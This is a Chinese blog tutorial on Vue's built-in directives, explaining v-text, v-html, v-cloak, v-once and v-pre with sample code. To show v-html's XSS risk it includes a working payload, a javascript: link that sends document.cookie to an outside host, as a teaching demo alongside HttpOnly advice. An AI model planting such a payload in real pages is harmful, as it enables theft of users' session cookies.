Vue 基本的内置指令

作者：我搬去水星了

2023-06-09
北京
本文字数：2263 字
阅读完需：约 7 分钟

除了常见的 v-bind,v-for,v-if,v-on.v-model 等，本次学习一些 vue 提供的其他内置指令

1 v-text

给标签插入文本，类似于插值语法

它会把全部的字符串当成文本去解析,不会当成标签的,哪怕写的是标签结构

效果和插值语法是一样的

插值语法比 v-text 更加的灵活，因为插值语法可以作为字符串拼接，但是 v-text 的值会替换掉整个 div 里面的值

前面说过，它会把全部的字符串当成文本去解析,不会当成标签的,哪怕写的是标签结构

不能解析标签的，会以正常文本显示

代码如下

<!DOCTYPE html><html>
<head>    <meta charset="UTF-8">    <title>初始vue</title>    <!-- 引入vue.js -->    <script type="text/javascript" src="../js/vue.js"></script>    <!-- 在线引入day.js -->    <!-- <script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.6/dayjs.min.js"></script> -->    <!--引入day.js -->    <script src="../js/dayjs.min.js"></script></head><body>    <div id="root">        <!-- 插值语法实现 -->        <h2>你好，{{name}}</h2>        <!-- v-text指令实现 -->        <h2 v-text="str"></h2>    </div></body> 
<script type="text/javascript">     const vm=  new Vue({        el:'#root',        data:{           name:'vue',           str:'<h1>你好！！！</h1>'        },
            })
   </script>
</html>

复制代码

v-text 总结

v-text 指令
1 作用：向其所在的节点渲染文本内容
2 与插值语法的区别：v-text 会替换掉节点中的内容，但是插值语法不会，它会进行拼接

2 v-html

和 v-text 作用以及写法类似，区别在于 v-html 可以帮助我们解析标签

可以发现，使用 v-html 可以实现标签解析，但是 v-text 是不行的，这也就是两者的区别

v-html 的安全性问题

在网站上渲染任意 HTML 是非常危险的，容易导致 XSS 攻击

众所周知，cookie 在网络上相当于个人身份证，我们在很多网站上都有 cookie,这些信息是不能泄露的，不然可能导致很严重的问题，我们就以 cookie 为例子，验证 v-html 的安全性问题

右键检查或者 F12,选择 Application.左侧找到 Storage->Cookies(既然加了 S 就说明可能存放的是多个网址的 cookie),cookie 本质就是键值对的 JSON 格式数据

首先因为的这个页面没有做登录功能，是没有 cookie 的，我需要自己仿造，双击即可添加

如图所示，我模拟了一些 cookie，我们可以通过命令(document.cookie)查看 cookie:

既然知道了这些，那么就可以模拟恶意获取 cookie 的场景,我这里用的是给一个文字，暗箱跳转到百度，并且把本台服务器的 cookie 作为参数携带进去，注意：这里这是模仿

点击发现跳到了百度，而且携带了我的 cookie，这样是很危险的！

但是一般的网址都会做 cookie 的安全处理,查看 cookie 可以看到有一个 HttpOnly 选型，如果勾选上代表只能通过 http 协议获取，不能通过 dom 命令获取

比如我全部勾选

通过 dom 就什么也获取不到了

在网站上渲染任意 HTML 是非常危险的，容易导致 XSS 攻击！这不是 vue 的锅，只是不建议这么使用

代码如下

<!DOCTYPE html><html>
<head>    <meta charset="UTF-8">    <title>初始vue</title>    <!-- 引入vue.js -->    <script type="text/javascript" src="../js/vue.js"></script></head><body>    <div id="root">        <!-- 插值语法实现 -->        <h2>你好，{{name}}</h2>        <!-- v-text指令实现 -->        <h2 v-text="str"></h2>         <!-- v-html进行标签解析 -->        <div v-html="str"></div>        <div v-html="getCookieUrl"></div>    </div></body> 
<script type="text/javascript">     const vm=  new Vue({        el:'#root',        data:{           name:'vue',           str:'<h1>你好！！！</h1>',           getCookieUrl:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>你想要的都在这哦~</a>'        },
            })
   </script>
</html>

复制代码

v-html 总结

v-html 指令：
1 作用：与指定节点中渲染包含 html 结构的内容
2 与插值法与的区别
（1）v-html 会替换掉节点的所有的内容，{{XX}}则不会
（2）v-html 可以识别 html 标签(结构)
3 严重注意：v-html 有安全性问题
（1）在网站上渲染任意 HTML 是非常危险的，容易导致 XSS 攻击
（2）一定要在可信的内容上使用 v-html,永远不要用在用户提交的内容上

3 v-cloak

由于这个不太好演示，这里只做说明不演示了

这个属性只有名字，没有值

 <h2 v-cloak>{{name}}</h2>

复制代码

它一般配合 css 控制元素隐藏，等页面全部加载完毕之后，会自动删除 v-cloak

v-cloak 总结

v-cloak 指令

1 它只有名字，没有值

2 本质是一个特殊属性，Vue 实例创建完毕并接管容器后，会自动删除 c-cloak 属性

3 使用 css 配合 v-cloak 可以解决网速慢的时候页面展示出{{XXX}}的问题

4 v-once

这个属性和 v-cloak 一样，也是没值的，只有属性名称

通过案例演示下，让 vue 保存一个数值 n，然后让 n 展示在页面上

初步测试没问题

接下来新增需求，想再写一个 h2 标签，展示初始化的 n 值

随着页面的变化，初始化 n 的值也进行了变化

v-once 显然不符合需求，这时候就需要用到 v-once 了，再 h2 标签加入

<h2 v-once>初始化n的值是：{{n}}</h2>

复制代码

这时候再查看页面，实现需求

v-once总结
v-once 指令：
1 v-once 所在节点在初次动态渲染后，就视为静态内容了
2 以后数据的改变不会引起 v-once 所在结构的更新，可以用于优化性能

5 v-pre

这个指令可以让 vue 跳过其所在节点的编译过程，也就是 vue 不会再解析写了 v-pre 的东西了
可利用它跳过一些代码，没有使用指令语法的节点，没有使用插值语法的节点，会更快的进行编译

发布于: 2 小时前阅读数: 4

原文链接:【http://xie.infoq.cn/article/13827742125a7be774a4779a8】。文章转载请联系作者。

我搬去水星了

关注

还未添加个人签名 2022-10-26 加入

还未添加个人简介

发布

暂无评论

创作场景

Vue 基本的内置指令

1 v-text

v-text 总结

2 v-html

v-html 的安全性问题

v-html 总结

3 v-cloak

v-cloak 总结

4 v-once

v-once总结

5 v-pre

我搬去水星了

评论